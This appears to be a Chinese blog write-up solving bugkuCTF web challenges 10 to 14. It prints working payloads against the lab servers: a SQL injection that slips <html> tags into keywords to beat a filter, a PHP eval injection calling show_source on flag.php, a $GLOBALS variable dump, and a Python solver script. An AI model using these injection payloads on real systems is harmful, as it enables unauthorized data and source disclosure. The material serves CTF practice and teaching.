bugkuCTF Writeup (Web)10-14

SQL注入1

第十题
代码审计
这里写图片描述
先过滤sql关键字,再过滤xss(实际上就是删除一些html标签),这个顺序就很好办了,把HTML标签插到sql关键字里面,就绕过了第一个过滤,第二个过滤之后就还原了sql关键字
之后就是基本的判断字段数、爆数据库名、爆flag
payload:http://103.238.227.13:10087/?id=1 uni<html>on s<html>elect id,hash fr<html>om sql3.key%23
还要注意的是获得的字段值要加上KEY{}再提交


你必须让他停下

第十一题
看源码,使用js的setTimeout函数自动刷新,那就禁用js
用浏览器禁用当前host的js,然后手动刷新,直到刷出来flag
PS:说是要在熊猫的那一张停下,出现熊猫是随机的,所以要刷几次才行,而且flag是在html里面隐藏的,得看着源码刷新才行


本地包含

第十二题
又是代码
代码
flag在”flag.php”这个文件里,只要按这个样把flag.php的内容显示出来就行了
eval执行里面的代码,而且是递归的
于是传入参数hello=show_source(DIR.”/flag.php”)
payload:http://120.24.86.145:8003/?hello=show_source(__DIR__.%22/flag.php%22)
有flag了
flag


变量1

第十三题
和上面一题差不多,只不过多了一点过滤
代码
有flag in the variable的提示,那就是要看变量了
这里通过php预定义变量来看flag1.php中加载的变量
传入参数args=GLOBALS
payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
在输出的$GLOBALS变量内容里就有flag
flag


秋名山老司机

第十四题
两秒内计算这么一坨算式,肯定是要写脚本的
这里写图片描述
再刷一下就发现要用post传入value参数
这里写图片描述
于是跑python脚本,值得注意的是发送http请求的时候要打开Session支持,不然服务器不认为两次请求是同一个电脑发来的

import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
    "value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

有flag 了
这里写图片描述
(不要在意乱码的那些细节)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值